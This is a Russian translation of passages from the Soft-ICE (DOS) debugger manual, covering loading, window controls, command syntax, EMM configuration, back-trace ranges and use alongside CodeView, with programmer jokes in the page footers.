Прежде, чем фактически загрузиться, Soft-ICE выдаст сообщение о загрузке и командную строку. Для предотвращения вывода этой командной строки, поместите слово EXTENDED в файл S-ICE.DAT. См. часть 6.4 для получения более подробной информации о файле S-ICE.DAT. При использовании этого метода, S-ICE.EXE автоматически загружается в верхнюю точку расширенной памяти, если там еще нет никакой другой программы. Если вы знаете, что у вас нет других программ, использующих расширенную память, этот метод - приемлем. Загруженный этим методом, Soft-ICE занимает НОЛЬ байт основной памяти. Команда, которую вы используете:
S-ICE |
Примечания: Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загрузить Soft-ICE из CONFIG.SYS.
Если вы хотите загрузить Soft-ICE как драйвер устройства, но не хотите, чтобы Soft-ICE был резидентным все время, вы должны использовать переключатель /UN. Обратитесь к части 6.3.1 для получения большей информации.
2.2.3 Конфигурирование Soft-ICE для Запуска с Установками Пользователя
Вы можете настраивать Soft-ICE при помощи переключателей Soft-ICE в CONFIG.SYS и при помощи файла инициализации Soft-ICE S-ICE.DAT. Переключатели в CONFIG.SYS позволяют указать метод резервирования расширенной памяти, используемый Soft-IСЕ'ом. Файл инициализации S-ICE.DAT позволяет вам указать опции конфигурации, указать команды, выполняемые по нажатию функциональных клавиш, и определить строку автостарта. Строка автостарта используется, для выполнения ряда команд, которые вы всегда используете при установке Soft-ICE. Для более полной информация о настройке Soft-ICE, обратитесь к главе 6.
2.3 Выгрузка Soft-ICE
Когда-нибудь вам может понадобиться выгрузить Soft-ICE. Типичная причина для выгрузки Soft-ICE - необходимость запуска программы, использующей инструкции защищенного режима 80286 или 80386. Чтобы выгрузить Soft-ICE, введите:
S-ICE /U |
Эта команда возвращает машину в реальный режим адресации. Если Soft-ICE был первоначально загружен из CONFIG.SYS, память остается зарезервированной для Soft-ICE и не может использоваться другими программами. Если Soft-ICE первоначально загружен из командной строки, выгрузка освобождает память, используемую S-ICE.EXE.
Предостережение: Если в вашей системе есть наращенная память или если в настоящее время используется расширенная память, выгрузка Soft-ICE может вызвать зависание ОС.
2.4 Повторная Загрузка Soft-ICE
Soft-ICE может быть повторно загружен в любое время, даже если он был перво- начально загружен из CONFIG.SYS. Если Soft-ICE был загружен из CONFIG.SYS, то первоначальная конфигурация (EMM 4.0, символы и исходный текст ...) остается в силе. Чтобы повторно загрузить Soft-ICE, введите:
S-ICE |
ГЛАВА 3
3.1 Введение
Все взаимодействие с Soft-ICE происходит в окне, которое может быть вызвано в любое время. Все команды Soft-ICE помещаются в маленьком окне, но окно может быть увеличено до полного экрана. Обычно вы будете использовать маленькое окно при использовании Soft-ICE в дополнение к другому отладчику и большое окно при использовании Soft-ICE в автономном режиме.
Окно сразу выводится во весь экран, если вы используете файл конфигурации Soft-ICE (S-ICE.DAT), включенный в дистрибутив.
3.2 Вызов Всплывающего Окна
Вы можете вызвать окно в любое время после установки Soft-ICE. По умолчанию Soft-ICE вызывается нажатием клавиш CTRL и D. Однако, эта комбинация может быть изменена, при помощи команды ALTKEY (см. часть 5.8).
3.3 Возврат Из Окна
Вернитесь к первоначальному экрану, используя команду X или комбинацию клавиш, которую вы использовали для вызова Soft-ICE. Любые точки останова, которые вы установили во время работы в Soft-ICE, останутся в силе.
3.4 Изменение Размера Окна
Вы можете изменять как ширину, так и высоту окна Soft-ICE. Изменение размера окна особенно полезно в автономном режиме, когда на экран выводится память с кодом программы.
Высота окна может изменяться от 8 до 25 строк. Для изменения высоты окна используйте следующие комбинации клавиш:
ALT + стрелка вверх -- увеличивает высоту окна ALT + стрелка вниз -- уменьшает высоту окна.
Для изменения ширины окна, используйте команду WIN (см. часть 5.9). Ввод WIN без параметров переключает следующие два режима:
Режим WIDE - полная ширина экрана режим NARROW - ширина 46 символов.
Некоторые команды (то есть D, E, R, U) используют преимущество большой ширины для вывода большего количества информации, когда окно находится в режиме WIDE.
3.5 Перемещение Окна
Окно Soft-ICE подвижно и может быть помещено куда угодно на экране. Это особенно полезно, когда окно находится в режиме NARROW. Перемещайте окно в любое время, когда вам нужно видеть информацию на экране за окном. Следующие комбинации клавиш перемещают окно:
CTRL стрелка вверх -- на строку вверх CTRL стрелка вниз -- на строку вниз CTRL стрелка вправо -- на одну позицию вправо CTRL стрелка влево -- на одну позицию влево.
3.6 Клавиши Редактирования
Простой в использовании строковый редактор Soft-ICE позволяет повторно вызы- вать и редактировать предыдущие команды. Функции строкового редактора подобны функциям популярного редактора CED.
Следующие комбинации клавиш помогают при редактировании команд в окне команд:
Стрелка вправо -- перемещает курсор вправо стрелка влево -- перемещает курсор влево INS -- переключает режим вставки DEL -- удаляет текущий символ HOME -- перемещает курсор в начало строки END -- перемещает курсор в конец строки стрелка вверх -- выводит предыдущую команду стрелка вниз -- выводит следующую команду SHIFT стрелка вверх -- прокрутка на одну строку вверх SHIFT стрелка вниз -- прокрутка на одну строку вниз PAGE UP -- прокрутка на одну страницу вверх PAGE DN -- прокрутка на одну страницу вниз BKSP -- удаляет предыдущий символ ESC -- отменяет текущую команду.
Есть специальные назначения клавиш, когда курсор находится в окне данных или окне кода. Они описаны в частях для команд E и EC соответственно. Одно из таких специальных назначений - SHIFT и SHIFT , когда курсор находится в окне кода. Эти клавиши переназначаются так, что они выполняют функции, которые обычно выполняют клавиши и . Таким образом вы можете повторно вызывать предыдущие команды, когда курсор находится в окне кода.
3.7 Диалоговая Строка Состояния
Строка состояния в нижней части окна обеспечивает диалоговую помощь по синтаксису команд.
3.8 Синтаксис Команд
Soft-ICE - отладочный инструмент с командным управлением. Для взаимодействия с Soft-ICE вы вводите команды, которые могут изменяться при помощи параметров.
Все команды - текстовые строки, длиной от одного до шести символов, нечувстви- тельные к регистру букв. Все параметры являются ASCII-строками или выражениями.
Выражения - обычно числа, но могут также быть комбинациями чисел и операторов (например, + - / *). Все числа выводятся в шестнадцатеричном формате. Параметры типа byte - 2 цифры длиной, параметры типа word - 4 и параметры типа double word - 2 параметра типа word, разделенные двоеточием (:). Вот несколько примеров параметров:
12 -- параметр типа byte 10FF -- параметр типа word E000:0100 -- параметр типа double word.
Вместо байтов или слов в выражении могут использоваться регистры. Например, команда " U CS:IP-10 " начнет дизассемблирование инструкций с адреса, находя- щегося за десять байт до текущего адреса в указателе команд. В выражениях могут использоваться следующие названия регистров:
AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS или FL.
3.8.1 Определение Адресов Памяти
Много команд Soft-ICE требуют в качестве параметров адреса памяти. Адрес памяти - это значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента.
В любой команде Soft-ICE вместо адреса могут использоваться публичные символы. Публичные символы могут быть загружены в Soft-ICE загрузчиком программ (LDR.EXE). См. главу 7 (Символы и Исходный текст) для получения полного описа- ния использования публичных имен.
Интерпретатор выражений Soft-ICE распознает несколько специальных символов в объединении с адресами. Это следующие специальные символы:
$ -- Текущий CS:IP. @адрес -- указатель типа double word .число -- номер строки в исходном тексте.
Символ $ может использоваться вместо CS:IP при вводе текущего адреса указателя команд.
Символ @ позволяет вам обращаться к двойному слову, на которое указывает адрес. Вы можете использовать несколько уровней @.
Если символ . предшествует адресу, адрес будет интерпретироваться как номер строки в текущем исходном файле, а не как фактический адрес. Это имеет силу, только когда загружены исходные файлы. В этом случае адрес интерпретируется как десятичное число.
Примеры:
U.1234 |
Эта команда начинает дизассемблирование инструкций в строке 1234(десятич.) исходного текста.
U $-10 |
Эта команда дизассемблирует инструкции, начинающиеся за 10 байт до текущего адреса в указателе команд.
G @SS:SP |
Предполагает, что вы - на первой инструкции обработчика прерывания. Ввод этой команды установит временную точку останова на адрес возврата в стеке и пропускает подпрограмму обработчика прерывания.
3.9 Функциональные Клавиши
Функциональные клавиши могут назначаться на выполнение любой командной строки, которая может быть введена в Soft-ICE. Их можно переназначать из командной строки или заранее путем их определения в файле S-ICE.DAT.
По умолчанию S-ICE.DAT, поставляемый на дистрибутивной дискете, содержит определения для всех 12 функциональных клавиш. Вы можете изменять любое из этих определений в любое время. Они присутствуют в качестве примера, но они предназначены для облегчения работы пользователей Microsoft CodeView, по умол- чанию работают следующие назначения:
F1 -- Выводит общую помощь (H;) F2 -- Включает окно регистров (^WR;) F3 -- Изменяет текущий режим работы с исходным текстом (^SRC;) F4 -- Восстанавливает экран (^RS;) F5 -- Возвращается в вашу программу (^X;) F6 -- Переключает курсор между окном команд и окном кода (^EC;) F7 -- Прогоняет программу до текущей позиции курсора (^HERE;) F8 -- Выполняет одиночную инструкцию (^T;) F9 -- Устанавливает точку останова в текущей позиции курсора (^BPX;).
Руководство по Soft-ICE (DOS) - 20.
| Программистское народное ругательство: motherhacker! |
8.2.2 Настройка Карты Страниц EMM
Для конфигурирования карты EMM вы должны использовать утилиту EMMSETUP.EXE. EMMSETUP.EXE позволяет изменять карту страниц, а затем модифицирует S-ICE.EXE с учетом изменений. EMMSETUP работает наиболее эффективно при автоматической настройке карты EMM. EMMSETUP, при работе с видеокартами и ПЗУ, попробует заполнить отображаемыми страницами столько адресного пространства, сколько возможно. Если результат недостаточно хорош или не по вашему вкусу, вы можете его изменить. Изменение может быть необходимо, если у вас есть сеть, специальный видеоадаптер или адаптер операций с отображаемой памятью. Для конфигурирования карты EMM введите:
EMMSETUP |
EMMSETUP показывает матрицу страниц памяти по 16КБ, доступных в нижней области в 1 мегабайт. Матрица разделена на 16 колонок, представляющих каждая 64КБ (от 0 до 10000H). 4 строки представляют четыре страницы по 16КБ в каждой 64-килобайтовой области.
Каждая ячейка матрицы может содержать E, X, R или V. Ячейки, содержащие E, доступны как страницы EMM; блоки, содержащие X - нет. Ячейки, содержащие R - области памяти, которые были идентифицированы EMMSETUP как области ПЗУ. Вы, при необходимости, можете изменить эти области на E, но это допустимо, только если к ПЗУ нет обращений. Ячейки, содержащие V идентифицированы как видеопамять. Мы сделали наихудшее предположение о видеопамяти. Ваша конкретная видеокарта может не использовать столько, сколько мы "предположили". При необходимости вы можете изменить блоки памяти, которые содержат ненужные V.
Если вы удовлетворены предположениями ЕММSЕТUР'а, нажмите клавишу F10 и S-ICE.EXE будет изменен с этими параметрами. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться. Если вы хотите изменить предположения ЕММSЕТUР'а, сделайте это в то же самое время.
8.2.2.1 Включение и Исключение Областей из EMM
Чтобы включить область в память EMM 4.0 просто поместите курсор на желаемую ячейку, затем введите E. Наоборот, чтобы исключить область из памяти EMM 4.0, поместите курсор на ячейку и введите X. Когда вы будете удовлетворены вашими изменениями, нажмите F10 для выхода из программы. Все изменения автоматически сохраняются в файле S-ICE.EXE. Если вы хотите выйти без изменения S-ICE.EXE, нажмите ESC. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться.
Включая верхние блоки памяти, имейте в виду следующее:
* CGA занимает от B800H до C000H. * MDA занимает от B000H до B100H. * Большинство карт Hercules занимает от B000 до C000H. * EGA занимает от A000H до C000H и от C000H до C400H. * VGA (на материнской плате) занимает от A000H до C000H. * VGA (съемная карта) занимает от A000H до C000H и от C000H до C800H. * Системное ПЗУ PS/2 занимает от E000H до 10000H. * ПЗУ PS/2 ESDI занимает от CC00H до D000H * Большинство AT-совместимых ПЗУ занимают от F000H до 10000H. * Compaq-системы, системы с системными платами Micronix и большинство систем с платами Chips and Technologies перемещают ПЗУ EGA/VGA в E000H Однако они все равно так же занимают и область C000H. * Сети Token Ring обычно занимают от CC00H до E000H. * Многие сети занимают области памяти в области D000H. Вышеупомянутые руководящие принципы - для "фирменных" устройств. Многие исполнения от различных продавцов компьютеров и продавцов карт адаптеров будут варьировать.
8.3 Другие Возможности EMM
У S-ICE.EXE с переключателем /EMM есть две возможности, которые автоматически активизируются в зависимости от конфигурации вашей системы. Эти возможности - наращивание и перемещение страниц.
8.3.1 Увеличение Обычной Памяти
Память системы будет автоматически наращена до первой неотображаемой страницы. Это означает, что начинается поиск цепочки 'E' с ячейки 1000 и продолжается, пока не будет найден первый несмежный 'E'. Если цепочка смежных 'E' выйдет за границы основной памяти вашей системы, память будет наращена до первого R, V или X, который будет найден.
Выгода наращивания - в том, что вы можете увеличивать объем используемой памяти системы до большего, чем 640КБ. Наращенная память доступна из DOS. Если вам не нужна наращенная память, используйте EMMSETUP, чтобы сделать страницу неотображаемой (X) в точке, где вы хотите, чтобы память системы заканчивалась.
Заметьте:
Монохромные системы (MDA) можно наращивать вплоть до B000H, чтобы добавить дополнительные 64КБ к обычной памяти. CGA-системы могут быть наращены вплоть до B800, добавляя дополнительные 96КБ к обычной памяти. EGA и VGA-системы могут быть наращены, только если не будут запускаться графические программы. Вы можете наращивать EGA или VGA-системы вплоть до B800:0, если не будут запускаться никакие графические программы.
Предупреждение:
Если память - наращена, НЕ ВЫГРУЖАЙТЕ Soft-ICE. Это вызовет разрушение системы.
8.3.2 Автоматическое Определение Страниц
Большинство знакомых с EMM программ требуют 64КБ-страницу, не используемую как нормальная память DOS. Она обычно расположена выше области видео- устройства. Однако в некоторых системах нет непрерывной области в 64K для размещения страницы. В этих случаях S-ICE.EXE "крадет" 4 верхние отображаемые страницы нижней памяти. Как результат - нижняя память DOS урезается на 64КБ.
8.4 EMM-Отладка
Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается.
При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации.
Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего:
* В командах D, E, S и F адресная часть команды должна быть указана следующим образом: Нуказатель# Рстраница# смещение где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:
DB H1 P3 0 |
Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0.
* Команда C должна быть указана следующим образом:
C Нуказатель# Рстраница# смещение1 Lдлина смещение2 где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:
C H2 P4 00 L10 1000 |
Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.
Заметьте:
Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:
D 0:0 |
ГЛАВА 9
9.1 Введение
Soft-ICE может собирать информацию об инструкциях в буфер истории обратной трассировки во время выполнения вашей программы. Затем, после возникновения ошибки, эти инструкции можно просмотреть. Это позволяет вам вернуться назад и повторно пройти программу, чтобы определить фактический поток инструкций, предшествующих точке останова.
Информация об инструкциях собирается при входе в указанный диапазон адресов, меньший системного. Диапазоны могут быть от 1 байта до 1 мегабайта, так что если нужно, может быть получена полная системная информация. Использование определенных диапазонов вместо сбора всех инструкций полезно по двум причинам:
1. Буфер истории обратной трассировки не забивается посторонней информацией, которая вас не интересует. Например, вам может быть неинтересна обработка прерываний и выполнение в пределах MS DOS. 2. Диапазоны обратной трассировки снижают производительность системы, когда они активны. Ограничивая диапазон до интересующей вас области, вы можете намного увеличить производительность системы.
У Soft-ICE есть два метода использования инструкций в буфере истории обратной трассировки:
1. Команда SHOW позволяет вам просматривать инструкции из буфера истории обратной трассировки. Вы должны указать, на сколько инструкций в буфере вы хотите вернуться. 2. Команда TRACE позволяет вам вернуться и заново проиграть инструкции из буфера истории обратной трассировки. Таким образом вы может видеть исполнение инструкций в контексте окружения программного кода или исходного текста.
9.2 Использование Диапазонов Обратной Трассировки
Чтобы использовать диапазоны обратной трассировки, вы должны сделать следующее:
1. Зарезервировать буфер истории обратной трассировки желаемого размера, добавив переключатель /TRA в строку S-ICE.EXE в CONFIG.SYS. Например, чтобы создать буфер истории обратной трассировки в 100КБ, вы могли бы иметь следующую строку в вашем файле CONFIG.SYS: DEVICE = S-ICE.EXE /TRA 100 Буфер истории обратной трассировки в 10КБ зарезервирован по умолчанию. Если это подходит для ваших потребностей, вы можете не резервировать больший буфер. Размер буфера истории ограничен только количеством доступной расширенной памяти. 2. Активизировать диапазоны обратной трассировки, создав точку останова на диапазон памяти опцией T или TW. Например: BPR 1000:0 2000:0 T Опции T и TW не вызывают остановов, вместо этого они собирают информацию об инструкциях, которая затем может выводиться командами SHOW или TRACE. 3. Установить любые другие точки останова, если это желательно. 4. Выйти из Soft-ICE командой X. 5. После выполнения останова или если вы вызвали Soft-ICE горячей клавишей, вы можете просмотреть инструкции из буфера командой SHOW. Например, чтобы вернуться назад на 50 инструкций в буфере и вывести на экран инструкций, введите: SHOW 50 6. Чтобы повторно проиграть ряд инструкций, вы должны сначала войти в режим эмуляции трассировки командой TRACE. Чтобы начать повторно проигрывать последовательность инструкций, начиная за 50 команд в буфере, введите:
TRACE 50 |
7. После того, как вы вошли в режим эмуляции трассировки, вы может проходить через последовательность инструкций, используя команды XT, XP или XG. Это позволяет вам повторно активизировать ход программы. Например, вы можете пошагово пройти последовательность инструкций в буфере, начинающейся с инструкции, указанной в командой TRACE, вводя:
Руководство по Soft-ICE (DOS) - 21.
| Смотрит геймер триллер. А там по тёмному коридору в страшном доме идёт девушка. Напряжение нарастает, играет тревожная музыка, и тут геймер не выдерживает: - Sаvе'ся, дура! Sаvе'ся!!! |
XT XT . . . XT |
Команда XT пошагово проходит через буфер истории обратной трассировки. Команда XP производит программные шаги через буфер истории обратной трассировки. Команда XG проходит программу до адреса в буфере истории обратной трассировки. 8. Чтобы выйти из режима эмуляции трассировки, введите:
TRACE OFF |
9. Для сброса буфера истории обратной трассировки, используйте команду X.
9.3 Специальные Примечания
В режиме эмуляции трассировки большинство команд Soft-ICE работает как обычно, включая вывод карты памяти и вывод и редактирование данных. Существующие исключения:
1. Информация о регистрах не сохраняется в буфере истории обратной трассировки, так что значения регистров не изменяются, когда вы трассируете буфер, кроме значений CS и IP. 2. Команды, которые обычно вызывают выход из Soft-ICE, не работают в режиме эмуляции трассировки. Это - X, T, P, G, EXIT.
Когда вы внимательно просматриваете инструкции из буфера истории обратной трассировки командами SHOW и TRACE, вы можете заметить странности в выполнении инструкций. Они вызваны скачками в и вовне указанного диапазона. Они обычно происходят при переходах, вызовах, возвратах и точках входа. Когда у вас проблема с зависанием или другая трудная ошибка, требующая диапазонов обратной трассировки, вы часто можете использовать очень большие диапазоны, чтобы захватить проблемную область. Как только вы получите лучшее представление об указанной проблемной области, вы перейдете к меньшим диапазонам.
Большие диапазоны обратной трассировки - очень медленные. Используя большие диапазоны, вы обычно пытаетесь получить общую идею о том, где проблема. У Soft-ICE есть специальный "ГРУБЫЙ" режим для обработки больших диапазонов. Это ускоряет диапазоны в три или больше раз, но ограничивает количество инструкций в буфере истории.
Грубый режим собирает только те инструкции, которые производят запись в память в пределах указанного диапазона. При повторном проходе инструкций в режиме эмуляции трассировки после "ГРУБОГО" диапазона вы заметите, что ход происходит скачками вместо последовательного выполнения инструкций.
Грубые диапазоны работают лучше всего для больших областей и менее эффективны для маленьких диапазонов.
Чтобы активизировать "ГРУБЫЙ" диапазон обратной трассировки, используйте команду BPR с опцией TW вместо опции T. Например:
BPR 1000:0 2000:0 TW |
Для дальнейшей информации о диапазонах обратной трассировки см. описания для команд:
SHOW, TRACE, XT, XP, XG, XRSET, BPR |
ГЛАВА 10
10.1 Введение
MagicCV позволяет вам выполнять Microsoft CodeView в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.
MagicCVW позволяет вам выполнять Microsoft CodeView для Windows в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.
Использование Soft-ICE в комбинации с MagicCV или MagicCVW позволяет вам иметь мощность Soft-ICE при удобстве использования знакомого вам продукта CodeView.
В оставшейся части этой главы, высказывания о MCV будут применимы как к MagicCV, так и к MagicCVW, и высказывания о CV будут применимы как к CodeView, так и к CodeView для Windows.
10.2 Запуск Soft-ICE с MagicCV или MagicCVW
Чтобы использовать Soft-ICE 2.0 и MCV вместе, вы должны установить S-ICE.EXE как загружаемый драйвер устройства. S-ICE.EXE поступает на дискете Soft-ICE. S-ICE.EXE заменяет NUMEGA.SYS в CONFIG.SYS. Используйте переключатели /MCV, /EMM и /EXT как при использовании только MagicCV или MagicCVW. Есть добавочные переключатели, которые вы можете захотеть использовать с Soft-ICE. Обратитесь к главе 6 для информации относительно этих переключателей.
Чтобы запустить MagicCV или MagicCVW, после того как Soft-ICE загружен, обратитесь к вашему руководству по MagicCV или MagicCVW.
Примечания:
MagicCVW требует Soft-ICE версии 2.00 или выше.
MagicCV требует Soft-ICE версии 1.02 или выше. Драйверы S-ICE.SYS и NUMEGA.SYS отправлялись с некоторыми версиями Soft-ICE. Драйверы S-ICE и NUMEGA.
Должны быть заменены S-ICE.EXE до того, как вы сможете запустить MagicCV и Soft-ICE 2.0 вместе.
10.3 Специальные Соображения
Две Виртуальные Машины.
Когда вы используете вместе Soft-ICE и MCV, вы должны иметь в виду, что CV находится в отдельной виртуальной машине от целевого окружения. Вы можете вызвать Soft-ICE из любой виртуальной машины, т.е., когда выполняется CV или когда выполняется целевая программа.
Если вы вызываете Soft-ICE, когда выполняется целевая программа, все работает как определено в руководстве по Soft-ICE. Если вы вызываете Soft-ICE когда выполняется CV (обычно при выполнении останова), вы должны иметь в виду несколько моментов:
* Регистры являются регистрами CV и НЕ МОГУТ быть изменены. * Для удобства, команда Soft-ICE, MAP отображает карту памяти виртуальной машины целевой программы, а не карту памяти виртуальной машины CV. Высвеченная область в карте памяти может быть неправильна. * Любой вывод или модификация памяти происходит в виртуальной машине целевой программы. * У вас нет никакой видимости в виртуальной машине CV кроме вывода значений регистров. Не забудьте, что при вызове окна Soft-ICE, когда активен CV, значения регистров являются значениями регистров CV и не должны изменяться. * Когда активен CV, в окне Soft-ICE отключается покомандная и программная трассировка. Это - чтобы предотвратить беспорядок, потому что фактически трассироваться будет CV, а не целевая программа. Если вы попытаетесь выполнить команду Soft-ICE Шаг (T) или Программный Шаг (P) когда активен CV, вы получите предупреждающее сообщение: "Функция не доступна в виртуальной машине CV". Чтобы вместо этого трассировать код целевой программы, вы можете выполнить одну из двух операций: * Использовать команду трассировки CV. Для этого выйдите из окна Soft-ICE, используя команду Soft-ICE X, затем сделайте один или более шагов CV, чтобы пройти через целевую программу. * Использовать Soft-ICE, чтобы пройти до адреса целевой программы, затем использовать команды Soft-ICE T или P чтобы пройти через вашу целевую программу. Для этого выйдите из окна Soft-ICE командой Soft-ICE X, затем нажимайте клавишу 'F3' пока CV не перейдет в "смешанный режим". Это позволит вам видеть как исходные строки, так и адреса команд. Вызовите Soft-ICE. Если окно Soft-ICE - еще не в узком режиме, используйте команду Soft-ICE WIN, чтобы изменить размер окна. Переместите окно Soft-ICE так, чтобы вы могли видеть адреса команд в левой стороне экрана. Теперь вы можете использовать команду Soft-ICE G, чтобы перейти на один из адресов. Обязательно введите полный адрес, включая сегмент и смещение. Затем введите 'G' в окне CV. С этого момента, CV не активен, так что вы можете использовать команды Soft-ICE T или P для прохода через целевую программу.Команда CodeView SHELL
Если вы выполняете временный выход в DOS из виртуальной машины CodeView, оболочка DOS - часть виртуальной машины. Из-за этого вы не должны запускать ТSR'ы, когда вы находитесь в оболочке DOS. Если вы это сделаете, когда вы выйдете из CodeView, TSR исчезнет вместе с виртуальной машиной. Это - опасно, потому что любой невосстановленный вектор прерывания может вызвать зависание вашей ЭВМ.
Переключатель CV /R
Soft-ICE пользуется преимуществами многих возможностей 80386, включающих регистры отладки 80386. Это значит, что регистры отладки не доступны для CV, так что вы не можете использовать переключатель CV /R при запуске с Soft-ICE. Если вы используете переключатель /R, Soft-ICE выдаст вам общую ошибку защиты. В этот момент вы можете нажать 'C', чтобы продолжить, затем повторно запустить CV без переключателя /R и использовать точки останова Soft-ICE.
Переключатель CV /R работает, когда вы выполняете MCV без Soft-ICE.
10.4 Команда Soft-ICE ACTION
Команда ACTION предоставляет три различных метода активизации CV из точки останова Soft-ICE. Лучший выбор действия - ACTION NMI. Если вы испытываете проблемы с ACTION, установленным в NMI ( обычно потому что плата адаптера в вашей системе использует NMI ), используйте ACTION INT1.
РАЗДЕЛ IV - Дополнительные Темы
ГЛАВА 11
11.1 Использование Soft-ICE с другими Отладчиками
Soft-ICE разрабатывался, чтобы "сотрудничать" с другими отладчиками. Каждый отладчик предлагает разные возможности и, следовательно, требует специальной обработки. Этот раздел опишет способы эффективного использования отладчиков.
11.1.1 Отладчики, Использующие DOS
Много отладчиков используют DOS и ROM BIOS, чтобы выполнять их экранный и клавиатурный ввод/вывод. При использовании этих отладчиков с Soft-ICE (напр., DEBUG, SYMDEB и CODEVIEW) должны иметься ввиду определенные соображения, т.к. DOS и ROM BIOS не полностью реентерабельны. Если останов происходит во время исполнения кода DOS или BIOS, может возникнуть проблема повторной входимости.
Soft-ICE обеспечивает опциональное предупреждение о повторной входимости, активируемое командой WARN. Когда включен режим WARN, Soft-ICE проверяет DOS и ROM BIOS на повторную входимость до выполнения ACTION, активизирующего главный отладчик. Когда обнаружена проблема повторной входимости, Soft-ICE выводит предупреждающее сообщение и предлагает вам выбор : продолжить выполнение кода или вернуться в Soft-ICE.
Обратите внимание, что сам Soft-ICE не использует вызовы DOS или ROM BIOS в командах отладки. Это значит, что вы можете использовать Soft-ICE в любое время, не волнуясь о проблемах повторной входимости.
Для большей информации о команде WARN, см. часть 5.4.
11.1.2 Команда ACTION с другими Отладчиками
Различные отладчики используют разные методы активизации. Для описания этих методов см. часть 13.1.
Если вы хотите возвращаться к вашему отладчику после выполнения останова, вы должны изменить ACTION (см. раздел 5.4) для работы с вашим отладчиком.
В большинстве случаев действие, которое должно выполняться после останова, - INT3. Так DEBUG и SYMDEB будут работать лучше всего с ACTION, установленным на INT3.
Если INT3 не работает с вашим отладчиком, попробуйте INT1 или NMI. CODEVIEW работает лучше всего с ACTION, установленным на NMI.
11.1.3 Специальные Соображения
Когда установлена точка останова, вы должны быть осторожны, чтобы случайно ее не вызвать. Так, если вы установите точку останова в памяти в 0:0, затем используйте ваш отладчик для просмотра дампа памяти в 0:0, будет вызван Soft-ICE. Если ACTION установлено на вызов вашего отладчика, тогда ваш отладчик вызовет сам себя. Так как некоторые отладчики - нерентерабильны, это может быть фатальной проблемой. Эта проблема может также возникнуть с другими функциями отладки типа редактирования или дизассемблирования.
Руководство по Soft-ICE (DOS) - 22.
| Сидит мужик перед компьютером, в DOOM играет. Давно сидит, мастерство оттачивает. Тут сзади появляется дьявол и говорит: - Я выполню любые твои три желания, но потом, сам понимашь, я тебя возьму в ад. Мужик: - IDDQD, IDKFA И В АД!!!! |
По этой причине, хорошая практика - отключать точки останова Soft-ICE как только Soft-ICE поможет вам попасть в точку, где вы хотите осмотреться при помощи вашего отладчика.
11.1.4 Использование Soft-ICE с CODEVIEW
Soft-ICE лучше всего работает с CODEVIEW, когда CODEVIEW находится либо в режиме Ассемблера либо в Смешанном режиме. Когда CODEVIEW находится в режиме исходного текста с языками высокого уровня, он не всегда верно прерывается. Когда вы хотите, чтобы Soft-ICE вызывал CODEVIEW, лучше всего использовать ACTION NMI.
11.1.5 Отладчики, Использующие Регистры Точек Останова 80386
80386 имеет 4 регистра точек останова, которые доступны для использования отладчиками. Soft-ICE использует их для своих точек останова на память размером в байт, слово и двойное слово. Если отладчик, который вы используете с Soft-ICE, использует эти отладочные регистры, возникнет конфликт. Есть два способа решения этой проблемы.
1. Отключите использование регистров точек останова 80386 в отладчике, с которым вы используете Soft-ICE. Проверьте документацию другого вашего отладчика для получения описания того, как это сделать.
2. Некоторые отладчики автоматически используют регистры точек прерывания, если они обнаруживают процессор 80386 без методов их отключения (это делают некоторые версии SYMDEB). Для этих отладчиков сделайте следующее: * Вызовите окно Soft-ICE прежде, чем вы запустите другой отладчик.
* Включите режим BREAK Soft-IСЕ'а командой BREAK (вы можете захотеть сделать это в выражении инициализации в S-ICE.DAT, если вы часто это делаете).
* Запустите ваш другой отладчик.
* При желании вы теперь можете вызвать окно Soft-ICE и отменить режим BREAK Soft-ICE.
11.2 Пользовательские Точки Останова
Время от времени вам может требоваться очень специфический набор условий точки останова. Если специальные условия требуют ввода значений регистров или памяти, вы можете написать подпрограмму спецификации точки останова.
Soft-ICE содержит очень общий механизм для вызова пользовательских подпрограмм спецификации точек останова: команду ACTION. При использовании команды ACTION, Soft-ICE может перенаправить все точка останова на специальный вектор прерывания. Однако, до перенаправления точки останова, в память должна быть помещена подпрограмма спецификации и вектор прерывания должен указывать на подпрограмму спецификации.
Все регистры идентичны значениям во время выполнения останова Soft-ICE. Сохранение и восстановление регистров лежит на ответственности подпрограммы спецификации. Если ваша подпрограмма спецификации обнаруживает соответствие условий точка останова, она может выполнить множество действий. Вот некоторые примеры полезных действий, которые подпрограмма может выполнить, когда обнаружено соответствие:
* сохранить информацию на будущее
* послать информацию прямо на принтер или последовательный терминал
* выполнить команду INT 3, чтобы вызвать Soft-ICE Команда I3HERE должна быть включена, чтобы INT 3 вызывал Soft-ICE (см. часть 5.4).
Если условия не выполняются, подпрограмма спецификации должна выполнить команду IRET. Подведем итог:
1. Создайте подпрограмму спецификации точки останова в вашей области кода или где-нибудь в свободной памяти. Подпрограмма должна сохранять регистры. После проверки желаемых условий, подпрограмма может выполнить либо INT 3, чтобы вызвать Soft-ICE, либо IRET, чтобы продолжить исполнение.
